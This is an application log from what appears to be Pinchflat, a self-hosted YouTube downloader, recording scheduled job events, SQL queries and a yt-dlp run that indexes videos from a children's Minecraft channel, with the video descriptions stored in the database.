{"source":"oban","duration":2277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.943 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:25.335 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:55.338 [info] {"source":"oban","duration":2107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.944 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:25.341 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:55.344 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.946 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:25.347 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:55.350 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.947 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:25.353 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:55.356 [info] {"source":"oban","duration":2345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.949 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:25.359 [info] {"source":"oban","duration":2119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:55.362 [info] {"source":"oban","duration":2011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.951 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:25.365 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:55.368 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.952 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:25.371 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:55.374 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.953 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:25.377 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:55.379 [info] {"source":"oban","duration":2252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.954 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:25.382 [info] {"source":"oban","duration":2323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:55.385 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.955 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:25.388 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:55.391 [info] {"source":"oban","duration":2211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.957 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:25.393 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:55.394 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.958 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:25.397 [info] {"source":"oban","duration":2213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:55.400 [info] {"source":"oban","duration":2033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.960 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:25.403 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:55.406 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.962 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:25.409 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:55.412 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.964 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:25.414 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:55.417 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.965 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:25.420 [info] {"source":"oban","duration":1984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:55.423 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.966 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:25.426 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:55.429 [info] {"source":"oban","duration":1751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.967 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:25.432 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:55.435 [info] {"source":"oban","duration":1944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.969 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:25.438 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:55.440 [info] {"source":"oban","duration":2167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.971 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:25.443 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:55.446 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.972 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:25.449 [info] {"source":"oban","duration":2104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:55.452 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.974 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:25.455 [info] {"source":"oban","duration":2009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:55.458 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.976 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:25.461 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:55.463 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.978 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:25.465 [info] {"source":"oban","duration":1740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:39.107 [info] {"args":{"id":30},"id":7247,"meta":{},"system_time":1780443579106985776,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:39:39.107 [debug] QUERY OK source="sources" db=0.1ms idle=1828.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:39:39.107 [debug] QUERY OK source="settings" db=0.2ms idle=1828.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:39.109 [debug] QUERY OK source="media_items" db=1.0ms idle=1011.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 19:39:39.109 [debug] QUERY OK source="media_items" db=0.3ms idle=8.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 19:39:39.109 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:39:39.110 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:39.110 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:39.112 [debug] QUERY OK source="media_items" db=1.6ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [30] 19:39:39.113 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:39:39.113 [debug] Current batch of media processed. Will check again in 1000ms 19:39:39.114 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:39.114 [debug] QUERY OK source="settings" db=0.0ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:39.114 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:39.114 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@miloandchip --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/Milo and Chip/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/9f/53/9f53d4ed4b1b62710275d58fb97ac68c8bfdc50514672831a0df414aa5c2b6b1.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/fb/6d/fb6d2dddceac77cd540576ada8df305681e65ae32449e94e2e7f520d3a1db481.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:39:40.114 [debug] Current batch of media processed. Will check again in 1000ms 19:39:41.115 [debug] Current batch of media processed. Will check again in 1000ms 19:39:42.116 [debug] Current batch of media processed. Will check again in 1000ms 19:39:43.117 [debug] Current batch of media processed. Will check again in 1000ms 19:39:44.118 [debug] Current batch of media processed. Will check again in 1000ms 19:39:45.119 [debug] Current batch of media processed. Will check again in 1000ms 19:39:46.120 [debug] Current batch of media processed. Will check again in 1000ms 19:39:47.121 [debug] Current batch of media processed. Will check again in 1000ms 19:39:48.122 [debug] Current batch of media processed. Will check again in 1000ms 19:39:49.124 [debug] Current batch of media processed. Will check again in 1000ms 19:39:50.126 [debug] Current batch of media processed. Will check again in 1000ms 19:39:51.127 [debug] Current batch of media processed. Will check again in 1000ms 19:39:52.128 [debug] Current batch of media processed. Will check again in 1000ms 19:39:53.130 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Protecting Our Families from a GIANT Penguin in Minecraft! 🐧❄️ Can Chip's fortified base survive a monster-sized GUGU GAGA attack at midnight, or will Milo's Berry Wall of Greatness save the day first?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1776, "filename" => "/downloads/rory/Milo and Chip/2026-06-01 NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family/NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family [HlTfxG007JI].mp4", "id" => "HlTfxG007JI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HlTfxG007JI", "playlist_index" => 1, "timestamp" => 1780354807, "title" => "NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family", "upload_date" => "20260601"} 19:39:53.132 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1001.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:39:53.135 [debug] QUERY OK source="sources" db=1.7ms queue=0.2ms idle=854.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:39:53.136 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=856.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 23:00:07Z], 30] 19:39:53.137 [debug] QUERY OK source="media_items" db=0.8ms idle=857.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Protecting Our Families from a GIANT Penguin in Minecraft! 🐧❄️ Can Chip's fortified base survive a monster-sized GUGU GAGA attack at midnight, or will Milo's Berry Wall of Greatness save the day first?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family", "63cf0c3a-3915-4515-970e-0dcf098e5065", "HlTfxG007JI", false, "https://www.youtube.com/watch?v=HlTfxG007JI", 30, [], 1776, false, 1, "/downloads/rory/Milo and Chip/2026-06-01 NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family/NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family [HlTfxG007JI].mp4", false, false, 98, ~U[2026-06-01 23:00:07Z], ~U[2026-06-02 23:39:53Z], ~U[2026-06-02 23:39:53Z], "Protecting Our Families from a GIANT Penguin in Minecraft! 🐧❄️ Can Chip's fortified base survive a monster-sized GUGU GAGA attack at midnight, or will Milo's Berry Wall of Greatness save the day first?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family", "HlTfxG007JI", "https://www.youtube.com/watch?v=HlTfxG007JI", 30, 1776, false, "/downloads/rory/Milo and Chip/2026-06-01 NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family/NOOB vs PRO: GUGU GAGA Safest Security House Build Challenge to Protect My Family [HlTfxG007JI].mp4", false, ~U[2026-06-01 23:00:07Z]] 19:39:53.138 [debug] QUERY OK source="sources" db=0.3ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:39:53.138 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:39:53.139 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141039] 19:39:53.139 [debug] Current batch of media processed. Will check again in 1000ms 19:39:54.139 [debug] Current batch of media processed. Will check again in 1000ms 19:39:55.140 [debug] Current batch of media processed. Will check again in 1000ms 19:39:55.467 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:56.141 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Impossible Find the Diamond Challenge: Hide and Seek! 🟦🔍 Can Milo freeze perfectly still while JJ hunts down everyone one by one? And what comes crawling through the Nether portal at the end? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 2125, "filename" => "/downloads/rory/Milo and Chip/2026-05-29 Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft/Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft [ano3A1IT0wA].mp4", "id" => "ano3A1IT0wA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ano3A1IT0wA", "playlist_index" => 2, "timestamp" => 1780095615, "title" => "Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft", "upload_date" => "20260529"} 19:39:56.142 [debug] QUERY OK source="sources" db=0.3ms idle=1863.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:39:56.143 [debug] QUERY OK source="sources" db=0.5ms idle=1864.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:39:56.147 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=1007.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 23:00:15Z], 30] 19:39:56.148 [debug] QUERY OK source="media_items" db=0.9ms idle=680.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Impossible Find the Diamond Challenge: Hide and Seek! 🟦🔍 Can Milo freeze perfectly still while JJ hunts down everyone one by one? And what comes crawling through the Nether portal at the end? Just like Maizen!\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Milo & Chip Turn Into Blocks in Hide and Seek in Minecraft", 